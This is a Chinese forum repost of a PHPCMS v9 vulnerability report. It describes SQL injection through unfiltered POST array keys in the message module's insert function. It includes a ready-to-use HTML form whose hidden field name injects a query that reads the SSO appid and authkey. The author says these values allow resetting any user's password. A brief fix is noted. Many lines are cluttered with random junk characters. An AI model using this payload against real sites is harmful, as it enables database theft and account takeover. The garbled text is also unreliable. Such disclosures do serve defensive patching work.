|
|
简要描述:
0 ?2 l8 Y' U, b. @& ?# p/ ~
. S1 ~/ B, t' A. Q第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。
, d+ i6 A5 w" I" Z7 W# Q2 [$ p8 T1 Z9 l. M/ u q
明天再更新下一个漏洞。
, u: b& S/ d, L# c详细说明:, z; R: s. l) ?
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
, @3 {. [5 J) f5 D7 R, W) b( [ H: t
$messageid = $this->message_db->insert($_POST['info'],true);
( T0 k o3 M0 H4 x( a2 O5 t
! ]' ]* |& _1 B
9 m0 i& D( I- @. Hinsert方法是key value的,代码如下:
# n/ W3 \: A9 n/ \" O
$ H1 {, Z" O9 v+ z" Ppublic function insert($data, $table, $return_insert_id = false, $replace = false) {. O! Y% @& b) d
if(!is_array( $data ) || $table == '' || count($data) == 0) {8 W4 E b3 S2 I
return false;
! b; E' f1 f, }, |+ X }) P P# ^/ p2 y0 B" h6 r' ~/ }: ~
; m- O5 ~. O& g* z $fielddata = array_keys($data);
V- t8 _. e" [" j3 l( n $valuedata = array_values($data);! P4 ~2 |' @; `+ R, d
array_walk($fielddata, array($this, 'add_special_char'));' B4 i2 `0 l* p
array_walk($valuedata, array($this, 'escape_string'));
! Y; h9 k& p' ^! U& P 5 U. _- {7 @' ~1 A# H8 |7 E
$field = implode (',', $fielddata);
( F4 h& a+ |( P$ g* P; p+ N0 \. f0 U $value = implode (',', $valuedata);/ @8 @* k: x# C3 u& N
2 K2 w+ x; q2 I
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
" D& W5 A" e" O4 a $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';& A& g4 x, \3 n4 \2 X- V
$return = $this->execute($sql);8 f/ x! s( c8 R: q: W
return $return_insert_id ? $this->insert_id() : $return;9 p& K( J: ], @. Z1 Q
}! l$ V6 O+ w6 H& T1 x- a
; x$ z1 A& N$ o$ g: H8 d# r5 z2 C/ N8 a+ h5 U2 u+ ?8 d' D
嗯,很遗憾的是
- g. U; ~5 k' d4 Q: ~0 K9 l* }4 T/ d
array_walk($fielddata, array($this, 'add_special_char'));
' d; v& T. d' p8 [( J/ o) i& u$ N4 S& B/ ^2 _; U' N1 M5 B1 K1 i& |/ _
. k0 p% ^0 F8 P: i/ j3 O+ j中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。% I' w& x8 p% Z! U" C
) N! k. i, J( |
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。2 \! ? I0 z7 ~0 D
3 a$ Y0 |! c; w4 @漏洞证明:
0 p& b8 U9 t( P! M! B6 x! l8 a3 |读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
9 T. q5 ^. X8 s& E7 l* r5 f3 h
& S. A) c- S, C4 G% G) i8 N" ^* f- P0 u! l; w9 P* U
表单如下:用户名什么的得自己改一改。
4 i6 |0 f z/ ~, C<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! D& d. G% `2 O: g<table width="100%" cellspacing="0" class="table_form">& g4 T0 ~) m% L* A* F2 A3 F
<tr>: F) W# t8 F) t. L8 v S6 [
<th>标 题:</th>
( |7 W7 q! a; l) q& ]<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>/ B' r. A- ~. ~5 h3 c ?2 `5 |: }
</tr> b2 t3 K8 a8 X
<tr>: a. W2 ~2 e% E$ j8 @- {
<th>内 容:</th>, c7 @: ^% D/ q" ?+ _* z
<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>+ Q9 j9 j2 A' E
</tr>
I! D( a3 l5 \* s0 x9 O) Z4 u1 f<input type="hidden" name="info[replyid]" value="2" /> * S. c1 j; ?% x1 X2 \; |
<input type="hidden" name="info[send_to_id]" value="cc" /> ' L+ n- A+ @# V( H
<input type="hidden" name="info[send_from_id]" value="hh">
3 ]. S( b; O+ \5 ^<!-- 漏洞的利用重点在这里开始 -->4 T$ _8 ]9 r8 Y6 h
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
: Y6 C+ Z! r V9 A+ l<!-- 漏洞的利用重点在这里结束 -->
% e# Z; B7 l" k) k9 w+ H/ M0 l<tr>
" s2 h7 J% k' Q<th>验证码:</th>; T2 [6 [2 R( R5 y, J4 ]) @% i
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
4 u# W h% p$ b; W/ H</tr>
" o, C/ D# u8 U6 [( E- d# ^<tr>
4 u6 a( Y. R' V. r# c<td></td>9 `" w+ W# C8 N2 M/ k
<td colspan="2"><label>
2 `$ M) R- F$ [- K& q/ b<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
3 [8 R% U/ R" q) V6 h% Z0 f</label></td>' \% R9 [$ e# @ m7 } ?, q
</tr>
) \: D) V" s) D$ P3 d</table>: D* O9 D5 u- t8 S4 l- n
</form>
4 u$ m ~. U$ }' J在add_special_char函数内对key做过滤就可以了。
$ m8 n2 |- i) U. s: f( L5 D9 D& U+ i
# a# P6 I- }4 f' a. f' I$ g- m( P, v
, Y4 ^( N. ^3 A6 } |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|